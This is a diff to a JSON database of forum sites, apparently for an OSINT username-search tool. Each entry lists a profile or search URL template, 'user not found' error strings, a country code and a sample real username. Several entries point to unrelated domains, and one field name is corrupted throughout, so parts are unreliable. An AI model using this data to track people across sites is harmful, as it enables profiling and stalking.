+ "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sherlar.3dn.ru/index/8-0-{}", + "urlMain": "https://sherlar.3dn.ru", + "usernameON": "dugimmump", + "bad_site": "" + }, + "Forum_shiachat": { + "country": "🇮🇷", + "country_klas": "IR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.shiachat.com/forum/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.shiachat.com", + "usernameON": "Hameedeh", + "bad_site": "" + }, + "Forum_shiftdelete": { + "country": "🇹🇷", + "country_klas": "TR", + "errorTyp��": "redirection", + "url": "https://forum.shiftdelete.net/uyeler/?username={}", + "urlMain": "https://forum.shiftdelete.net", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_shiptext": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shiptext.ucoz.ru/index/8-0-{}", + "urlMain": "https://shiptext.ucoz.ru", + "usernameON": "Taruto", + "bad_site": "" + }, + "Forum_shirokovskaya": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://широковская.рф/index/8-0-{}", + "urlMain": "http://широковская.рф", + "usernameON": "Надя", + "bad_site": "" + }, + "Forum_shkola-letovo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shkola-letovo.my1.ru/index/8-0-{}", + "urlMain": "https://shkola-letovo.my1.ru", + "usernameON": "belkazalesskaya", + "bad_site": "" + }, + "Forum_shkolnikov": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shkolnikov.clan.su/index/8-0-{}", + "urlMain": "https://shkolnikov.clan.su", + "usernameON": "Adelamow", + "bad_site": "" + }, + "Forum_shkval": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shoubiz.my1.ru/index/8-0-{}", + "urlMain": "https://shoubiz.my1.ru", + "usernameON": "eagles_yar", + "bad_site": "" + }, + "Forum_shumka": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://shumka.at.ua/index/8-0-{}", + "urlMain": "http://shumka.at.ua", + "usernameON": "vikadroyp08", + "bad_site": "" + }, + "Forum_shustrov": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shustrov.clan.su/index/8-0-{}", + "urlMain": "https://shustrov.clan.su", + "usernameON": "Crayulin", + "bad_site": "" + }, + "Forum_shuumm": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shuumm.ucoz.ru/index/8-0-{}", + "urlMain": "https://shuumm.ucoz.ru", + "usernameON": "shuumm", + "bad_site": "" + }, + "Forum_shvedun": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://www.forum.shvedun.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://www.forum.shvedun.ru", + "usernameON": "red", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_siava": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://siava.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://siava.ru", + "usernameON": "Keks", + "bad_site": "" + }, + "Forum_sibcoins": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sibcoins.ucoz.ru/index/8-0-{}", + "urlMain": "https://sibcoins.ucoz.ru", + "usernameON": "FERMABOT", + "bad_site": "" + }, + "Forum_siberia_war": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr> :: Сибмама - о семье, беременности и детях", + "errorTyp��": "message", + "url": "https://forum.sibmama.ru/profile.php?mode=viewprofile&u={}", + "urlMain": "https://forum.sibmama.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_siccness": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.siccness.net/xf/members/?username={}", + "urlMain": "https://www.siccness.net", + "usernameON": "muthafknmexican", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_siemens-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://siemens-club.ucoz.ru/index/8-0-{}", + "urlMain": "https://siemens-club.ucoz.ru", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_siemens-town": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://siemens-town.my1.ru/index/8-0-{}", + "urlMain": "https://siemens-town.my1.ru", + "usernameON": "pomoshigorigor", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_sierraclubspb": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://sierraclubspb.borda.ru/?32-{}", + "urlMain": "https://sierraclubspb.borda.ru", + "usernameON": "truevalve", + "bad_site": "" + }, + "Forum_sierrawireless": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.sierrawireless.com/u/{}/summary", + "urlMain": "https://forum.sierrawireless.com", + "usernameON": "guigui", + "bad_site": "" + }, + "Forum_sigerous": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://sigerous.ru/index/8-0-{}", + "urlMain": "http://sigerous.ru", + "usernameON": "repteloid1111", + "bad_site": "" + }, + "Forum_silveradosierra": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.silveradosierra.com/members/?username={}", + "urlMain": "https://www.silveradosierra.com", + "usernameON": "babock58", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_silverstream": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>Результатов поиска нет", + "errorMsg3": "Cloudflare", + "errorTyp��": "message", + "url": "https://f.simpleminecraft.ru/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://f.simpleminecraft.ru", + "usernameON": "delars", + "bad_site": "" + }, + "Forum_simracing": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorTyp��": "message", + "url": "https://forum.simracing.su/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.simracing.su", + "usernameON": "veter", + "bad_site": "" + }, + "Forum_sims3game": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sims3game.ucoz.ru/index/8-0-{}", + "urlMain": "https://sims3game.ucoz.ru", + "usernameON": "reveille", + "bad_site": "" + }, + "Forum_singaporebrides": { + "country": "🇸🇬", + "country_klas": "SG", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://singaporebrides.com/weddingforum/members/?username={}", + "urlMain": "https://singaporebrides.com", + "usernameON": "buzz", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sitepoint": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "\\"posts\\":[],\\"users\\":[],", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.sitepoint.com/community/search?context=topic&q={}&search_type=users&skip_context=true", + "urlMain": "https://www.sitepoint.com", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_sivatherium": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://skachat-warcraft-3.ru/index/8-0-{}", + "urlMain": "https://skachat-warcraft-3.ru", + "usernameON": "Grandar", + "bad_site": "" + }, + "Forum_skateclass": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "url": "https://sokrovische.ucoz.ru/index/8-0-{}", + "urlMain": "https://sokrovische.ucoz.ru", + "usernameON": "Visondela", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_solana": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.solana.com/u/{}/summary", + "urlMain": "https://forum.solana.com", + "usernameON": "ilian", + "bad_site": "" + }, + "Forum_soligorsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://soligorsk-info.ucoz.com/index/8-0-{}", + "urlMain": "https://soligorsk-info.ucoz.com", + "usernameON": "andydudyk", + "bad_site": "" + }, + "Forum_solikamsk1": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://solikamsk1.ucoz.org/index/8-0-{}", + "urlMain": "https://solikamsk1.ucoz.org", + "usernameON": "Openair", + "bad_site": "" + }, + "Forum_solnechnyi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://solnechnyi.ucoz.ru/index/8-0-{}", + "urlMain": "https://solnechnyi.ucoz.ru", + "usernameON": "eameln07", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_solonkino": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://solonkino.3dn.ru/index/8-0-{}", + "urlMain": "https://solonkino.3dn.ru", + "usernameON": "tasya", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_solotouch": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.solotouch.com/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.solotouch.com/", + "usernameON": "rosco1", + "bad_site": "" + }, + "Forum_solstar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://solstar.ru/index/8-0-{}", + "urlMain": "http://solstar.ru", + "usernameON": "wellnemo", + "bad_site": "" + }, + "Forum_sonexbuilders": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://sonexbuilders.net/search.php?keywords=&terms=all&author={}", + "urlMain": "https://sonexbuilders.net", + "usernameON": "lakespookie", + "bad_site": "" + }, + "Forum_sony127": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sony127.3dn.ru/index/8-0-{}", + "urlMain": "https://sony127.3dn.ru", + "usernameON": "htaletuauo", + "bad_site": "" + }, + "Forum_sonyalpha": { + "country": "🇩🇪", + "country_klas": "DE", + "errorMsg": "0 Ergebnisse", + "errorMsg2": "One moment,", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.sonyalphaforum.de/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.sonyalphaforum.de", + "usernameON": "ger100", + "bad_site": "" + }, + "Forum_sonycam": { + "country": "🇪🇸", + "country_klas": "ES", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.sonycam.es/foro/members/?username={}", + "urlMain": "https://www.sonycam.es", + "usernameON": "dano", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_soslujivzi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://soslujivzi.ru/index/8-0-{}", + "urlMain": "https://soslujivzi.ru", + "usernameON": "bazy", + "bad_site": "" + }, + "Forum_sosuave": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.sosuave.net/forum/members/?username={}", + "urlMain": "https://www.sosuave.net", + "usernameON": "theprospect", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sourcepython": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Information", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.sourcepython.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forums.sourcepython.com/", + "usernameON": "Mahi", + "comments": "Archive", + "bad_site": 1 + }, + "Forum_south-tm": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://south-tm.clan.su/index/8-0-{}", + "urlMain": "http://south-tm.clan.su", + "usernameON": "Shchedrovnops", + "bad_site": "" + }, + "Forum_sovet-miliziy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://sovet-miliziy.narod.ru/index/8-0-{}", + "urlMain": "http://sovet-miliziy.narod.ru", + "usernameON": "Евпатий", + "bad_site": "" + }, + "Forum_sovetskoye": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sovetskoye.ucoz.ru/index/8-0-{}", + "urlMain": "https://sovetskoye.ucoz.ru", + "usernameON": "VikingRUS", + "bad_site": "" + }, + "Forum_sovgavan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "http://www.sovgavan.ru/index/8-0-{}", + "urlMain": "http://www.sovgavan.ru", + "usernameON": "Titana", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_sovpl": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403", + "errorTyp��": "message", + "url": "https://soyuz-pisatelei.ru/index/8-0-{}", + "urlMain": "https://soyuz-pisatelei.ru", + "usernameON": "Litvin", + "bad_site": "" + }, + "Forum_space": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.space.com/members/?username={}", + "urlMain": "https://forums.space.com", + "usernameON": "helio", + "comments": "Archive", + "bad_site": 1, + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_spacebattles": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.spacebattles.com/members/?username={}", + "urlMain": "https://forums.spacebattles.com", + "usernameON": "lt_ryguy", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_spanielclub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://spanielclub.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://spanielclub.kamrbb.ru", + "usernameON": "kertezayde", + "bad_site": "" + }, + "Forum_spchat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://forum.spchat.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.spchat.ru", + "usernameON": "Taniar", + "bad_site": "" + }, + "Forum_spdonetsk": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://spdonetsk.ucoz.ua/index/8-0-{}", + "urlMain": "https://spdonetsk.ucoz.ua", + "usernameON": "Alazany", + "bad_site": "" + }, + "Forum_speakev": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.speakev.com/members/?username={}", + "urlMain": "https://www.speakev.com", + "usernameON": "nickkk32", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_specialstage": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.specialstage.com/members/?username={}", + "urlMain": "https://www.specialstage.com", + "usernameON": "ssadmin", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_specktra": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.specktra.net/members/?username={}", + "urlMain": "https://www.specktra.net", + "usernameON": "shellygrrl", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_spellbinder": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://forum.spellbinder.tv/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.spellbinder.tv", + "usernameON": "vov2302", + "bad_site": "" + }, + "Forum_spiceworks": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://community.spiceworks.com/u/{}", + "urlMain": "https://community.spiceworks.com", + "usernameON": "hulksmash72", + "comments": "RUblock", + "bad_site": "" + }, + "Forum_spinningist": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.spinningist.com/index/8-0-{}", + "urlMain": "http://www.spinningist.com", + "usernameON": "Nux", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_spitz-dog": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://spitz-dog.ucoz.ru/index/8-0-{}", + "urlMain": "http://spitz-dog.ucoz.ru", + "usernameON": "hieswivay", + "bad_site": "" + }, + "Forum_spoiledmaltese": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.spoiledmaltese.com/members/?username={}", + "urlMain": "https://www.spoiledmaltese.com", + "usernameON": "duncanweishaar093", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_spolo": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sporeland.ru/index/8-0-{}", + "urlMain": "https://sporeland.ru/", + "usernameON": "ms_Zeys", + "bad_site": "" + }, + "Forum_sport_f": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.sport-forums.com/members/?username={}", + "urlMain": "https://www.sport-forums.com", + "usernameON": "bascampt", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sportgymnastic": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://sputnikkey.ru/index/8-0-{}", + "urlMain": "http://sputnikkey.ru", + "usernameON": "alexstvpr", + "bad_site": "" + }, + "Forum_spyro-realms": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.spyro-realms.com/index/8-0-{}", + "urlMain": "https://www.spyro-realms.com", + "usernameON": "ftaletoxrf", + "bad_site": "" + }, + "Forum_sqlteam": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forums.sqlteam.com/u/{}/summary", + "urlMain": "https://forums.sqlteam.com", + "usernameON": "waterduck", + "bad_site": "" + }, + "Forum_squarespace": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Found 0 results", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://svet-unlimited.ucoz.ru/index/8-0-{}", + "urlMain": "https://svet-unlimited.ucoz.ru", + "usernameON": "Milija", + "bad_site": "" + }, + "Forum_svobodavnutri": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://svobodavnutri.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://svobodavnutri.kamrbb.ru", + "usernameON": "lurdopufye", + "bad_site": "" + }, + "Forum_svoystyle": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://svoystyle.ucoz.ru/index/8-0-{}", + "urlMain": "https://svoystyle.ucoz.ru/", + "usernameON": "isaeva3", + "bad_site": "" + }, + "Forum_svstrazh": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://svstrazh.forum24.ru/?32-{}", + "urlMain": "https://svstrazh.forum24.ru", + "usernameON": "blagimip", + "bad_site": "" + }, + "Forum_svstudio": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://svstudio.ucoz.ru/index/8-0-{}", + "urlMain": "https://svstudio.ucoz.ru/", + "usernameON": "sunkid", + "bad_site": "" + }, + "Forum_svvptau": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://svvptau.borda.ru/?32-{}", + "urlMain": "https://svvptau.borda.ru", + "usernameON": "sops", + "bad_site": "" + }, + "Forum_swedespeed": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "url": "https://www.swedespeed.com/members/?username={}", + "urlMain": "https://www.swedespeed.com", + "usernameON": "stewart13", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_swift": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "posts\\":[],\\"users\\", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.swift.org/search?q={}&search_type=users", + "urlMain": "https://forums.swift.org", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_swiftbook": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://forum.swiftbook.ru/u/{}/summary", + "urlMain": "https://forum.swiftbook.ru", + "usernameON": "green", + "comments": "bad", + "bad_site": 1 + }, + "Forum_swleague": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.swleague.ru/index/8-0-{}", + "urlMain": "http://www.swleague.ru", + "usernameON": "rtalethabg", + "bad_site": "" + }, + "Forum_swoy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://swoy.ucoz.ru/index/8-0-{}", + "urlMain": "https://swoy.ucoz.ru", + "usernameON": "Tampy", + "bad_site": "" + }, + "Forum_symerechnaya": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://symerechnaya.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://symerechnaya.kamrbb.ru/", + "usernameON": "jelmafesti", + "bad_site": "" + }, + "Forum_synfig": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.synfig.org/u/{}/summary", + "urlMain": "https://forums.synfig.org", + "usernameON": "weranimators", + "bad_site": "" + }, + "Forum_synwrite_sourceforge": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://synwrite.sourceforge.net/forums/search.php?keywords=&terms=all&author={}", + "urlMain": "https://synwrite.sourceforge.net/", + "usernameON": "SamC", + "bad_site": "" + }, + "Forum_sys-adm": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://forum.sys-adm.in/u/{}", + "urlMain": "https://forum.sys-adm.in", + "usernameON": "sysadmin", + "bad_site": 1 + }, + "Forum_szaokprf": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://szaokprf.ucoz.ru/index/8-0-{}", + "urlMain": "https://szaokprf.ucoz.ru", + "usernameON": "sapsap", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_tachograph": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://tachograph.ucoz.ru/index/8-0-{}", + "urlMain": "http://tachograph.ucoz.ru", + "usernameON": "zokfada", + "bad_site": "" + }, + "Forum_tacticalwargames": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No members found", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.tacticalwargames.net/taccmd/memberlist.php?username={}", + "urlMain": "https://www.tacticalwargames.net", + "usernameON": "MephistonAG", + "bad_site": "" + }, + "Forum_taek": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://taek.3dn.ru/index/8-0-{}", + "urlMain": "https://taek.3dn.ru/", + "usernameON": "provzlom", + "bad_site": "" + }, + "Forum_taganrog-stop": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://taganrog-stop.clan.su/index/8-0-{}", + "urlMain": "https://taganrog-stop.clan.su", + "usernameON": "avtoritetniy", + "bad_site": "" + }, + "Forum_tagheuer": { + "country": "🌎", + 